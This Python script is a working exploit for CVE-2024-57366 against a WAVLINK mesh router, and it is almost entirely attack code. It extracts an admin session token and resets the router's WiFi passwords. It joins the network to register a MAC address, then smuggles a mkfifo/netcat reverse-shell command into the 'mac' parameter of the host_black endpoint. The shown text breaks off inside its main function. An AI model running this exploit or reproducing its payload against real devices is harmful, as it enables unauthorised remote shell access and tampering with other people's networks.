#!/usr/bin/env python3 """ CVE-2024-57366 Exploit - Simplified Version This script exploits a vulnerability by making two POST requests: 1. First request extracts authentication tokens 2. Second request uses the token to execute a reverse shell payload """ import argparse import hashlib import requests import json import sys import urllib.parse import subprocess import os import time import re # MAC address cache file (simple text format) MAC_CACHE_FILE = "successful_macs.txt" def load_successful_macs(): """Load successful MAC addresses from cache file""" successful_macs = [] if os.path.exists(MAC_CACHE_FILE): try: with open(MAC_CACHE_FILE, 'r') as f: for line in f: line = line.strip() if line and not line.startswith('#'): # Format: MAC_ADDRESS TARGET_IP [TIMESTAMP] parts = line.split() if len(parts) >= 2: mac = parts[0] target_ip = parts[1] timestamp = float(parts[2]) if len(parts) > 2 else time.time() successful_macs.append({"mac": mac, "target_ip": target_ip, "timestamp": timestamp}) except Exception as e: print(f"[-] Error reading MAC cache file: {e}") return successful_macs def save_successful_mac(mac_address, target_ip): """Save a successful MAC address to cache file""" successful_macs = load_successful_macs() # Add new MAC if not already present mac_entry = {"mac": mac_address, "target_ip": target_ip, "timestamp": time.time()} if not any(entry["mac"] == mac_address and entry["target_ip"] == target_ip for entry in successful_macs): successful_macs.append(mac_entry) try: with open(MAC_CACHE_FILE, 'w') as f: f.write("# CVE-2024-57366 Successful MAC Addresses\n") f.write("# Format: MAC_ADDRESS TARGET_IP TIMESTAMP\n") f.write("# You can manually add entries here\n\n") for entry in successful_macs: timestamp_str = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(entry["timestamp"])) f.write(f"{entry['mac']} {entry['target_ip']} {entry['timestamp']} # {timestamp_str}\n") print(f"[+] MAC address {mac_address} saved to cache for future quick exploits") except Exception as e: print(f"[-] Failed to save MAC address to cache: {e}") def get_cached_mac_for_target(target_ip): """Get a cached MAC address for the target IP""" successful_macs = load_successful_macs() # Find MAC addresses for this target (prefer recent ones) target_macs = [entry for entry in successful_macs if entry["target_ip"] == target_ip] if target_macs: # Sort by timestamp (most recent first) target_macs.sort(key=lambda x: x["timestamp"], reverse=True) return target_macs[0]["mac"] return None def list_cached_macs(): """List all cached MAC addresses""" successful_macs = load_successful_macs() if not successful_macs: print("[+] No cached MAC addresses found") return print("[+] Cached MAC addresses:") for entry in successful_macs: timestamp_str = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(entry["timestamp"])) print(f" {entry['mac']} -> {entry['target_ip']} (cached: {timestamp_str})") def quick_exploit_with_cached_mac(target_ip, port, local_ip, local_port, password, cached_mac): """Perform quick exploit using cached MAC address""" print(f"[+] Using cached MAC address: {cached_mac}") print(f"[+] Skipping WiFi connection - using cached MAC for quick exploit") # Step 1: Get authentication token print(f"[+] Getting authentication token...") token = retrieve_token(target_ip, port, password, local_ip, local_port) if not token: print("[-] Failed to get authentication token") return False # Step 2: Execute exploit directly print(f"[+] Executing exploit with cached MAC...") success = inject_command(target_ip, port, token, local_ip, local_port, cached_mac) if success: print(f"[+] Quick exploit completed successfully!") print(f"[+] Reverse shell should connect to {local_ip}:{local_port}") return True else: print(f"[-] Quick exploit failed - cached MAC may no longer be valid") return False def detect_wireless_adapters(): """ Detect available wireless adapters on the system, including USB WiFi adapters. Returns a list of (interface_name, mac_address, device_type) tuples. """ print("[+] Detecting wireless adapters...") wireless_adapters = [] try: # Method 1: Check for wireless interfaces using iw command try: iw_result = subprocess.run(["iw", "dev"], capture_output=True, text=True, timeout=10) if iw_result.returncode == 0: for line in iw_result.stdout.split('\n'): if 'Interface' in line: interface_name = line.split()[1] # Get MAC address for this interface mac_result = subprocess.run(["ip", "link", "show", interface_name], capture_output=True, text=True, timeout=5) if mac_result.returncode == 0: mac_match = re.search(r'link/ether ([0-9a-fA-F:]{17})', mac_result.stdout) if mac_match: mac_address = mac_match.group(1).upper() wireless_adapters.append((interface_name, mac_address, "wireless")) except Exception as e: print(f"[+] iw command failed: {e}") # Method 2: Check for USB WiFi adapters using lsusb try: lsusb_result = subprocess.run(["lsusb"], capture_output=True, text=True, timeout=10) if lsusb_result.returncode == 0: usb_wifi_found = False for line in lsusb_result.stdout.split('\n'): line_lower = line.lower() if any(keyword in line_lower for keyword in ['wireless', 'wifi', '802.11', 'realtek', 'ralink', 'atheros', 'broadcom', 'intel']): usb_wifi_found = True if not usb_wifi_found: print("[+] No obvious USB WiFi adapters found in lsusb output") except Exception as e: print(f"[+] lsusb command failed: {e}") # Method 3: Check for wireless interfaces using ip link (broader search) result = subprocess.run(["ip", "link", "show"], capture_output=True, text=True, timeout=10) if result.returncode == 0: current_interface = None for line in result.stdout.split('\n'): # Look for interface lines (e.g., "2: wlan0: ") if ': ' in line and ':' in line.split(':')[0]: parts = line.split(':') if len(parts) >= 2: interface_name = parts[1].strip() # Check if it's a wireless interface (expanded patterns) if interface_name.startswith(('wlan', 'wlp', 'wifi', 'wlx', 'wlo', 'wls')): current_interface = interface_name # Look for MAC address lines elif 'link/ether' in line and current_interface: mac_match = re.search(r'link/ether ([0-9a-fA-F:]{17})', line) if mac_match: mac_address = mac_match.group(1).upper() # Check if we already found this interface via iw if not any(adapter[0] == current_interface for adapter in wireless_adapters): wireless_adapters.append((current_interface, mac_address, "ethernet-like")) print(f"[+] Found wireless adapter: {current_interface} ({mac_address})") current_interface = None # Method 4: Check for wireless devices in /sys/class/net print("[+] Checking /sys/class/net for wireless devices...") try: net_result = subprocess.run(["ls", "/sys/class/net/"], capture_output=True, text=True, timeout=10) if net_result.returncode == 0: for interface in net_result.stdout.split(): if interface.startswith(('wlan', 'wlp', 'wifi', 'wlx', 'wlo', 'wls')): # Check if it's actually a wireless device wireless_check = subprocess.run(["cat", f"/sys/class/net/{interface}/type"], capture_output=True, text=True, timeout=5) if wireless_check.returncode == 0 and wireless_check.stdout.strip() == "1": # Type 1 = ARPHRD_ETHER, but could be wireless # Get MAC address mac_result = subprocess.run(["ip", "link", "show", interface], capture_output=True, text=True, timeout=5) if mac_result.returncode == 0: mac_match = re.search(r'link/ether ([0-9a-fA-F:]{17})', mac_result.stdout) if mac_match: mac_address = mac_match.group(1).upper() if not any(adapter[0] == interface for adapter in wireless_adapters): wireless_adapters.append((interface, mac_address, "sys-detected")) print(f"[+] Found wireless adapter via sys: {interface} ({mac_address})") except Exception as e: print(f"[+] sys check failed: {e}") # Method 5: Check for wireless modules/drivers print("[+] Checking for wireless drivers...") try: modules_result = subprocess.run(["lsmod"], capture_output=True, text=True, timeout=10) if modules_result.returncode == 0: wireless_drivers = [] for line in modules_result.stdout.split('\n'): line_lower = line.lower() if any(keyword in line_lower for keyword in ['rtl', 'ath', 'brcm', 'iwl', 'wl', 'rt2800', 'rtl8', 'rtw']): driver_name = line.split()[0] if driver_name not in wireless_drivers: wireless_drivers.append(driver_name) if not wireless_drivers: print("[+] No obvious wireless drivers loaded") except Exception as e: print(f"[+] lsmod check failed: {e}") except Exception as e: print(f"[-] Error detecting wireless adapters: {e}") # Remove duplicates and return unique_adapters = [] seen_interfaces = set() for adapter in wireless_adapters: if adapter[0] not in seen_interfaces: unique_adapters.append(adapter) seen_interfaces.add(adapter[0]) return unique_adapters def generate_userid(password): """Generate userid parameter using MD5 hash of 'admin' + password""" return hashlib.md5(b"admin" + password.encode()).hexdigest() def logout_request(target_ip, port): """Make a logout request to mimic JavaScript Date.now() behavior""" timestamp = int(time.time() * 1000) # JavaScript Date.now() equivalent url = f"http://{target_ip}:{port}/protocol.csp?fname=system&opt=login&function=get" headers = { "Host": f"{target_ip}:{port}", "Content-Length": "0", "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.9", "Accept": "application/json, text/javascript, */*; q=0.01", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36", "Origin": f"http://{target_ip}:{port}", "Referer": f"http://{target_ip}:{port}/login_rt_ax3000.html?tt={timestamp}?reject=overtime", "Accept-Encoding": "gzip, deflate, br", "Cookie": "i18next=en_US; lstatus=false", "Connection": "keep-alive" } try: response = requests.post(url, headers=headers, timeout=10) print(f"[+] Logout response status code: {response.status_code}") return response.status_code == 200 except requests.exceptions.RequestException as e: print(f"[-] Logout request failed: {e}") return False def reset_wifi_password(target_ip, port, token, password): """Reset WiFi password to match admin password""" print(f"[+] Resetting WiFi password to: {password}") url = f"http://{target_ip}:{port}/protocol.csp" headers = { "Host": f"{target_ip}:{port}", "Content-Length": "0", "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.9", "Accept": "application/json, text/javascript, */*; q=0.01", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36", "Origin": f"http://{target_ip}:{port}", "Referer": f"http://{target_ip}:{port}/html/wfSetting.html", "Accept-Encoding": "gzip, deflate, br", "Cookie": f"i18next=en_US; lstatus=true; token={token}", "Connection": "keep-alive" } # Reset 2.4GHz WiFi password params_2g = { "token": token, "fname": "net", "opt": "wifi_ap", "function": "set", "ssid": "WAVLINK-Mesh_DC4B", "password": password, "authmode": "1", "channel": "0", "need_restart": "1", # Force restart to apply password change "hidden2g": "0", "bandwidth": "1", "twt2g": "0", "ofdma2g": "0" } try: response = requests.post(url, params=params_2g, headers=headers, timeout=10) if response.status_code == 200: try: response_data = response.json() if response_data.get("error") == 0: time.sleep(30) # Wait for router restart else: return False except json.JSONDecodeError: return False # Reset 5GHz WiFi password params_5g = { "token": token, "fname": "net", "opt": "wifi_ap_5g", "function": "set", "ssid": "WAVLINK-Mesh_DC4B", "password": password, "authmode": "1", "channel": "0", "dfs": "1", # DFS parameter required for 5GHz "need_restart": "1", # Force restart to apply password change "hidden5g": "0", "bandwidth": "1", "skiplist": "132;136;140;144;149;153;157;161;165;", # Channel skip list for 5GHz "twt5g": "0", "ofdma5g": "0" } response = requests.post(url, params=params_5g, headers=headers, timeout=10) print(f"[+] 5GHz Response status code: {response.status_code}") if response.status_code == 200: try: response_data = response.json() print(f"[+] 5GHz WiFi reset response: {response_data}") if response_data.get("error") == 0: print(f"[+] 5GHz WiFi password reset successful!") print(f"[+] Both 2.4GHz and 5GHz WiFi passwords reset successfully!") print(f"[+] Router may restart to apply 5GHz changes, waiting 30 seconds...") time.sleep(30) # Wait for router restart return True else: print(f"[-] 5GHz WiFi password reset failed, but 2.4GHz succeeded") print(f"[+] Continuing with 2.4GHz WiFi only...") return True # Continue even if 5GHz fails except json.JSONDecodeError: print(f"[-] Invalid JSON response for 5GHz reset") print(f"[+] Continuing with 2.4GHz WiFi only...") return True # Continue even if 5GHz fails return False except requests.exceptions.RequestException as e: print(f"[-] WiFi password reset request failed: {e}") return False def connect_to_wifi_isolated(interface_name, mac_address, ssid, password): """ Connect to WiFi using existing adapter while preserving existing network connections. This function creates an isolated connection that doesn't interfere with other network interfaces. """ print(f"[+] Connecting to WiFi with {interface_name} ({mac_address}) in isolated mode") # Store original network state original_routes = None original_dns = None try: # Step 1: Backup current network state print(f"[+] Backing up current network state...") try: # Backup routes (but don't modify them yet) route_result = subprocess.run(["ip", "route", "show"], capture_output=True, text=True, timeout=5) if route_result.returncode == 0: original_routes = route_result.stdout print(f"[+] Backed up {len(original_routes.splitlines())} routes") except Exception as e: print(f"[+] Could not backup routes: {e}") try: # Backup DNS configuration with open("/etc/resolv.conf", "r") as f: original_dns = f.read() print(f"[+] Backed up DNS configuration") except Exception as e: print(f"[+] Could not backup DNS: {e}") # Step 2: Check if interface is up link_result = subprocess.run(["ip", "link", "show", interface_name], capture_output=True, text=True, timeout=5) if link_result.returncode != 0: print(f"[-] Interface {interface_name} not found or not accessible") return False, mac_address # Step 3: Bring up the interface if "state DOWN" in link_result.stdout or "DORMANT" in link_result.stdout: print(f"[+] Interface {interface_name} is down or dormant, bringing it up...") up_result = subprocess.run(["ip", "link", "set", interface_name, "up"], capture_output=True, text=True, timeout=5) if up_result.returncode != 0: print(f"[-] Failed to bring up interface {interface_name}: {up_result.stderr}") # Check if it's already up if "File exists" in up_result.stderr or "already up" in up_result.stderr.lower(): print(f"[+] Interface {interface_name} is already up, continuing...") else: return False, mac_address time.sleep(2) # Give it more time to come up # Step 4: Check RF-kill status rfkill_result = subprocess.run(["rfkill", "list"], capture_output=True, text=True, timeout=5) if rfkill_result.returncode == 0 and "wifi" in rfkill_result.stdout.lower(): print(f"[+] Checking RF-kill status...") if "blocked" in rfkill_result.stdout.lower(): print(f"[+] WiFi is blocked, unblocking...") subprocess.run(["rfkill", "unblock", "wifi"], capture_output=True, timeout=5) time.sleep(1) # Step 5: Stop any existing wireless processes on this interface only print(f"[+] Stopping existing wireless processes on {interface_name}...") subprocess.run(["pkill", "-f", f"wpa_supplicant.*{interface_name}"], capture_output=True, timeout=5) subprocess.run(["pkill", "-f", f"dhclient.*{interface_name}"], capture_output=True, timeout=5) time.sleep(1) # Step 6: Create wpa_supplicant configuration (isolated) wpa_config = f""" network={{ ssid="{ssid}" psk="{password}" key_mgmt=WPA-PSK # Try 5GHz band first (since we just reset 5GHz password successfully) freq_list=5180 5200 5220 5240 5260 5280 5300 5320 5500 5520 5540 5560 5580 5600 5620 5640 5660 5680 5700 5720 5745 5765 5785 5805 5825 # Don't change default route priority=1 }} """ config_file = f"/tmp/wpa_supplicant_{interface_name}.conf" with open(config_file, "w") as f: f.write(wpa_config) # Step 7: Connect to WiFi using wpa_supplicant (isolated) print(f"[+] Connecting to WiFi network '{ssid}' using {interface_name} (isolated mode)...") wpa_supplicant_cmd = [ "wpa_supplicant", "-B", "-i", interface_name, "-c", config_file, "-D", "nl80211", # Use nl80211 driver "-f", "/tmp/wpa_supplicant.log", # Log file for debugging ] result = subprocess.run(wpa_supplicant_cmd, capture_output=True, text=True, timeout=10) if result.returncode != 0: print(f"[-] wpa_supplicant failed to start: {result.stderr}") return False, mac_address print(f"[+] wpa_supplicant started successfully") # Step 8: Wait for connection with more robust checking connected = False print(f"[+] Waiting for WiFi connection to '{ssid}'...") for i in range(10): # Increased attempts and time time.sleep(3) status_cmd = ["wpa_cli", "-i", interface_name, "status"] status_result = subprocess.run(status_cmd, capture_output=True, text=True, timeout=5) if status_result.returncode != 0: print(f"[-] wpa_cli status failed: {status_result.stderr}") continue status_output = status_result.stdout.strip() print(f"[+] Connection attempt {i+1}/10") if "wpa_state=COMPLETED" in status_output: # Verify we're connected to the right network if ssid in status_output: print(f"[+] WiFi connection successful to '{ssid}'!") connected = True break else: print(f"[+] Connected but to wrong network, continuing...") elif "wpa_state=INACTIVE" in status_output and "address=" in status_output: # Check if we just completed a connection (INACTIVE can mean connected but idle) # Look for connection success in the log try: with open("/tmp/wpa_supplicant.log", "r") as f: log_content = f.read() if "CTRL-EVENT-CONNECTED" in log_content and ssid in log_content: print(f"[+] WiFi connection successful to '{ssid}' (detected via log)!") connected = True break except: pass elif "wpa_state=SCANNING" in status_output: print(f"[+] Still scanning for networks...") elif "wpa_state=ASSOCIATING" in status_output: print(f"[+] Associating with network...") elif "wpa_state=4WAY_HANDSHAKE" in status_output: print(f"[+] Performing 4-way handshake...") elif "wpa_state=AUTHENTICATING" in status_output: print(f"[+] Authenticating...") elif "wpa_state=DISCONNECTED" in status_output: print(f"[+] Disconnected, retrying...") # Try to reconnect subprocess.run(["wpa_cli", "-i", interface_name, "reconnect"], capture_output=True, timeout=5) else: print(f"[+] Connection state: {status_output}") if not connected: # Check if we had a successful connection in the log (even if brief) print(f"[+] Checking for successful connection in log...") try: with open("/tmp/wpa_supplicant.log", "r") as f: log_content = f.read() if "CTRL-EVENT-CONNECTED" in log_content and ssid in log_content: print(f"[+] WiFi connection was successful to '{ssid}' (detected in log)!") print(f"[+] MAC address should be registered with the router") connected = True # Extract the actual MAC address that connected for line in log_content.split('\n'): if "address=" in line and "uuid=" in line: actual_mac = line.split('address=')[1].split()[0] print(f"[+] Actual connected MAC address: {actual_mac}") # Update the MAC address for the exploit mac_address = actual_mac.upper() break else: print(f"[-] No successful connection found in log") except: print(f"[+] Could not read wpa_supplicant log") if not connected: print(f"[-] WiFi connection failed after 10 attempts") # Try to get more debugging info print(f"[+] Debugging information:") try: with open("/tmp/wpa_supplicant.log", "r") as f: log_content = f.read() print(f"[+] wpa_supplicant log (last 20 lines):") for line in log_content.split('\n')[-20:]: if line.strip(): print(f"[+] {line}") except: print(f"[+] Could not read wpa_supplicant log") scan_result = subprocess.run(["wpa_cli", "-i", interface_name, "scan"], capture_output=True, text=True, timeout=5) print(f"[+] Scan result: {scan_result.stdout.strip()}") time.sleep(2) scan_results = subprocess.run(["wpa_cli", "-i", interface_name, "scan_results"], capture_output=True, text=True, timeout=5) print(f"[+] Available networks: {scan_results.stdout.strip()}") return False, mac_address # Step 9: Get IP address via DHCP (without changing default route) print(f"[+] Attempting to get IP address (preserving existing routes)...") # Try multiple DHCP methods dhcp_success = False # Method 1: dhclient with longer timeout try: dhcp_cmd = ["dhclient", "-v", interface_name, "-s", "0.0.0.0", "-t", "30"] # 30 second timeout result = subprocess.run(dhcp_cmd, capture_output=True, text=True, timeout=35) if result.returncode == 0: print(f"[+] DHCP succeeded with dhclient!") dhcp_success = True else: print(f"[-] dhclient failed, trying dhcpcd...") except subprocess.TimeoutExpired: print(f"[-] dhclient timed out, trying dhcpcd...") # Method 2: dhcpcd if dhclient failed if not dhcp_success: try: dhcp_cmd = ["dhcpcd", "-t", "30", interface_name] # 30 second timeout result = subprocess.run(dhcp_cmd, capture_output=True, text=True, timeout=35) if result.returncode == 0: print(f"[+] DHCP succeeded with dhcpcd!") dhcp_success = True else: print(f"[-] dhcpcd also failed") except subprocess.TimeoutExpired: print(f"[-] dhcpcd also timed out") # Check if we got an IP address if dhcp_success: ip_result = subprocess.run(["ip", "addr", "show", interface_name], capture_output=True, text=True, timeout=5) if "inet " in ip_result.stdout: print(f"[+] Interface {interface_name} has IP address") # Extract the IP address for line in ip_result.stdout.split('\n'): if "inet " in line and "scope global" in line: ip_addr = line.split()[1].split('/')[0] print(f"[+] Got IP address: {ip_addr}") break else: print(f"[+] No IP address assigned, but DHCP succeeded") else: print(f"[-] All DHCP methods failed, but connection may still be established") # Step 10: Verify connection without affecting other interfaces print(f"[+] Verifying isolated connection...") link_status = subprocess.run(["wpa_cli", "-i", interface_name, "status"], capture_output=True, text=True, timeout=5) if "wpa_state=COMPLETED" in link_status.stdout: print(f"[+] Isolated WiFi connection successful!") print(f"[+] Your existing network connections remain unchanged") return True, mac_address else: print(f"[-] Connection verification failed") return False, mac_address except subprocess.TimeoutExpired: print(f"[-] WiFi connection timed out") return False, mac_address except Exception as e: print(f"[-] WiFi connection failed with error: {e}") return False, mac_address finally: # Clean up config file try: subprocess.run( ["rm", "-f", f"/tmp/wpa_supplicant_{interface_name}.conf"], capture_output=True ) except: pass def disconnect_wifi_cleanly(interface_name): """ Cleanly disconnect from WiFi and restore network state. This ensures no interference with existing network connections. """ print(f"[+] Cleaning up WiFi connection on {interface_name}...") try: # Step 1: Disconnect from WiFi print(f"[+] Disconnecting from WiFi...") subprocess.run(["wpa_cli", "-i", interface_name, "disconnect"], capture_output=True, timeout=5) time.sleep(2) # Step 2: Stop wpa_supplicant print(f"[+] Stopping wpa_supplicant...") subprocess.run(["pkill", "-f", f"wpa_supplicant.*{interface_name}"], capture_output=True, timeout=5) time.sleep(1) # Step 3: Stop DHCP client print(f"[+] Stopping DHCP client...") subprocess.run(["pkill", "-f", f"dhclient.*{interface_name}"], capture_output=True, timeout=5) time.sleep(1) # Step 4: Bring down the interface print(f"[+] Bringing down interface {interface_name}...") subprocess.run(["ip", "link", "set", interface_name, "down"], capture_output=True, timeout=5) # Step 5: Clean up any temporary files print(f"[+] Cleaning up temporary files...") subprocess.run(["rm", "-f", f"/tmp/wpa_supplicant_{interface_name}.conf"], capture_output=True, timeout=5) print(f"[+] WiFi cleanup completed successfully") print(f"[+] Your existing network connections remain intact") except Exception as e: print(f"[-] WiFi cleanup failed: {e}") # Try to force cleanup try: subprocess.run(["pkill", "-f", f"wpa_supplicant.*{interface_name}"], capture_output=True, timeout=5) subprocess.run(["pkill", "-f", f"dhclient.*{interface_name}"], capture_output=True, timeout=5) subprocess.run(["ip", "link", "set", interface_name, "down"], capture_output=True, timeout=5) except: pass def retrieve_token(target_ip, port, password, local_ip, local_port): """Make the exploit request to extract authentication token""" userid = generate_userid(password) url = f"http://{target_ip}:{port}/protocol.csp" headers = { "Host": f"{target_ip}:{port}", "Content-Length": "0", "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.9", "Accept": "application/json, text/javascript, */*; q=0.01", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36", "Origin": f"http://{target_ip}:{port}", "Referer": f"http://{target_ip}:{port}/login_rt_ax3000.html?tt={int(time.time() * 1000)}?reject=overtime", "Accept-Encoding": "gzip, deflate, br", "Cookie": "i18next=en_US; lstatus=false", "Connection": "keep-alive" } params = { "fname": "system", "opt": "login", "function": "set", "usrid": userid } # Try to use eth0 interface first (like BurpSuite proxy behavior) try: import subprocess result = subprocess.run(['ip', 'addr', 'show', 'eth0'], capture_output=True, text=True, timeout=5) if result.returncode == 0 and 'inet ' in result.stdout: print(f"[+] Using eth0 interface for token request to preserve original network context") full_url = f"{url}?" + "&".join([f"{k}={v}" for k, v in params.items()]) curl_cmd = [ 'curl', '-s', '-X', 'POST', '-H', f'Host: {target_ip}:{port}', '-H', 'Content-Length: 0', '-H', 'X-Requested-With: XMLHttpRequest', '-H', 'Accept-Language: en-US,en;q=0.9', '-H', 'Accept: application/json, text/javascript, */*; q=0.01', '-H', 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36', '-H', f'Origin: http://{target_ip}:{port}', '-H', f'Referer: http://{target_ip}:{port}/login_rt_ax3000.html?tt={int(time.time() * 1000)}?reject=overtime', '-H', 'Accept-Encoding: gzip, deflate, br', '-H', 'Cookie: i18next=en_US; lstatus=false', '-H', 'Connection: keep-alive', '--compressed', '--interface', 'eth0', full_url ] result = subprocess.run(curl_cmd, capture_output=True, text=True, timeout=15) if result.returncode == 0 and result.stdout: try: response_data = json.loads(result.stdout) if "token" in response_data: token = response_data["token"] print(f"[+] SUCCESS! Extracted token: {token}") return token else: print(f"[-] No token found in response") print(f"[-] Response: {response_data}") return None except json.JSONDecodeError: print(f"[-] Invalid JSON response from curl") return None else: print(f"[-] Curl request failed") return None else: raise Exception("eth0 not available") except Exception as e: print(f"[+] Falling back to standard requests for token: {e}") try: print(f"[+] Sending POST request to: {url}") print(f"[+] Headers: {headers}") print(f"[+] Params: {params}") response = requests.post(url, params=params, headers=headers, timeout=10) print(f"[+] Response status code: {response.status_code}") if response.status_code == 200: try: response_data = response.json() if "token" in response_data: token = response_data["token"] print(f"[+] SUCCESS! Extracted token: {token}") return token else: print(f"[-] No token found in response") print(f"[-] Response: {response_data}") return None except json.JSONDecodeError: print(f"[-] Invalid JSON response") return None else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed with error: {e}") return None def inject_command(target_ip, port, token, local_ip, local_port, mac_address): """Inject reverse shell command using the extracted token""" print(f"[+] Injecting reverse shell command...") print(f"[+] Using token: {token}") # Create the command payload - use bash TCP reverse shell # This is the most reliable method for reverse shells command = f'{mac_address}\\"%20%26%26$(rm%20-rf%20/tmp/f%20%26%26%20mkfifo%20/tmp/f%20%26%26%20cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%20{local_ip}%20{local_port}%20>/tmp/f)' print(f"[+] Command payload: {command}") print(f"[+] MAC address: {mac_address}") print(f"[+] Local IP: {local_ip}, Local Port: {local_port}") url = f"http://{target_ip}/protocol.csp" headers = { "Host": f"{target_ip}", "Content-Length": "0", "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.9", "Accept": "application/json, text/javascript, */*; q=0.01", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36", "Origin": f"http://{target_ip}", "Referer": f"http://{target_ip}/html/terminal.html", "Accept-Encoding": "gzip, deflate, br", "Cookie": f"i18next=en_US; lstatus=true; token={token}", "Connection": "keep-alive" } # Build URL exactly like BurpSuite - token in URL path, not params full_url = f"{url}?token={token}&fname=net&opt=host_black&function=set&mac={command}&index=1" print(f"[+] Full URL: {full_url}") # No params needed since everything is in the URL params = {} # Create a session to maintain connection state like BurpSuite session = requests.Session() # Try to make the request through the original network interface (eth0) if it exists # This emulates BurpSuite's proxy behavior by preserving the original network context try: import subprocess # Check if eth0 exists and has an IP result = subprocess.run(['ip', 'addr', 'show', 'eth0'], capture_output=True, text=True, timeout=5) if result.returncode == 0 and 'inet ' in result.stdout: print(f"[+] eth0 interface found with IP - using it for request to preserve original network context") # Use curl with interface binding to make the request through eth0 curl_cmd = [ 'curl', '-s', '-X', 'POST', '-H', f'Host: {target_ip}', '-H', 'Content-Length: 0', '-H', 'X-Requested-With: XMLHttpRequest', '-H', 'Accept-Language: en-US,en;q=0.9', '-H', 'Accept: application/json, text/javascript, */*; q=0.01', '-H', 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36', '-H', f'Origin: http://{target_ip}', '-H', f'Referer: http://{target_ip}/html/terminal.html', '-H', 'Accept-Encoding: gzip, deflate, br', '-H', f'Cookie: i18next=en_US; lstatus=true; token={token}', '-H', 'Connection: keep-alive', '--compressed', # Handle gzip/deflate compression '--interface', 'eth0', full_url ] print(f"[+] Using curl with eth0 interface to preserve original network context") print(f"[+] Command: {' '.join(curl_cmd)}") try: result = subprocess.run(curl_cmd, capture_output=True, text=True, timeout=15) print(f"[+] Curl response status: {result.returncode}") print(f"[+] Curl response: {result.stdout}") if result.returncode == 0 and result.stdout: try: response_data = json.loads(result.stdout) print(f"[+] Response JSON: {response_data}") if "error" in response_data: error_code = response_data["error"] if error_code == 0: print(f"[+] SUCCESS! Command injection successful!") print(f"[+] Reverse shell should be connecting to {local_ip}:{local_port}") return True else: print(f"[-] Request failed with error code: {error_code}") if error_code == 10001: print(f"[-] MAC address validation failed - the MAC address is not registered with the router") return False else: print(f"[+] No error in response, assuming success") return True except json.JSONDecodeError: print(f"[-] Invalid JSON response from curl") return False else: print(f"[-] Curl request failed") return False except subprocess.TimeoutExpired: print(f"[+] Curl request timed out after 15 seconds") print(f"[+] This might mean the command injection is working!") print(f"[+] Check your netcat listener on {local_ip}:{local_port} for a reverse shell") print(f"[+] If you see a connection, the exploit was successful!") return True else: print(f"[+] eth0 not available, using standard requests") raise Exception("eth0 not available") except Exception as e: print(f"[+] Falling back to standard requests: {e}") try: print(f"[+] Sending POST request to: {full_url}") print(f"[+] Headers: {headers}") response = session.post(full_url, headers=headers, timeout=10) print(f"[+] NOTE: Make sure you have a listener running: nc -lvp {local_port}") print(f"[+] Response status code: {response.status_code}") if response.status_code == 200: try: response_data = response.json() print(f"[+] Response JSON: {response_data}") if "error" in response_data: error_code = response_data["error"] if error_code == 0: print(f"[+] Command injection successful!") return True else: print(f"[-] Request failed with error code: {error_code}") if error_code == 10001: print(f"[-] MAC address validation failed - the MAC address is not registered with the router") return False else: print(f"[+] No error in response, assuming success") return True except json.JSONDecodeError: print(f"[-] Invalid JSON response") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.Timeout: print(f"[+] Request timed out after 10 seconds") print(f"[+] This might mean the command injection is working!") print(f"[+] Check your netcat listener on {local_ip}:{local_port} for a reverse shell") print(f"[+] If you see a connection, the exploit was successful!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed with error: {e}") return False def main(): parser = argparse.ArgumentParser(description="CVE-2024-57366 Exploit") parser.add_argument("--target", default="127.0.0.1", help="Target IP address") parser.add_argument("--port", type=int, default=80, help="Target port") parser.add_argument("--password", default="password", help="Admin password") parser.add_argument("--local-ip", help="Local IP address for reverse shell") parser.add_argument("--local-port", type=int, help="Local port for reverse shell") parser.add_argument("--ssid", default="WAVLINK-Mesh_DC4B", help="WiFi SSID") parser.add_argument("--force-full", action="store_true", help="Force full exploit (skip cached MAC check)") parser.add_argument("--list-cached", action="store_true", help="List cached MAC addresses and exit") args = parser.parse_args() # Handle list cached MACs option if args.list_cached: list_cached_macs() return # Validate required arguments for exploit if not args.local_ip or not args.local_port: print("[-] Error: --local-ip and --local-port are required for exploit") print("[-] Use --list-cached to view cached MAC addresses") sys.exit(1) print("=" * 60) print("CVE-2024-57366 Exploit - Simplified Version") print("=" * 60) # Check for cached MAC addresses first (unless forced to do full exploit) if not args.force_full: cached_mac = get_cached_mac_for_target(args.target) if cached_mac: print(f"[+] Found cached MAC address for {args.target}: {cached_mac}") response = input("[?] Use cached MAC for quick exploit? (y/n): ").lower().strip() if response in ['y', 'yes']: success = quick_exploit_with_cached_mac(args.target, args.port, args.local_ip, args.local_port, args.password, cached_mac) if success: print("[+] Quick exploit completed successfully!") return else: print("[-] Quick exploit failed, falling back to full exploit...") print() print("[+] Performing full exploit (WiFi connection + MAC registration)...") # Step 1: Detect wireless adapters wireless_adapters = detect_wireless_adapters() if not wireless_adapters: print("[-] No wireless adapters found!") print("[-] This exploit requires a wireless adapter to connect to the router's WiFi.") print("[-] Please ensure you have a wireless adapter available and try again.") print("") print("[-] Suggestions:") print("[-] 1. Connect a USB WiFi adapter") print("[-] 2. Enable your built-in wireless adapter") print("[-] 3. Check that wireless drivers are loaded") print("[-] 4. Try running: sudo modprobe -r && sudo modprobe ") print("[-] 5. Check: lsusb | grep -i wireless") print("[-] 6. Check: iw dev") 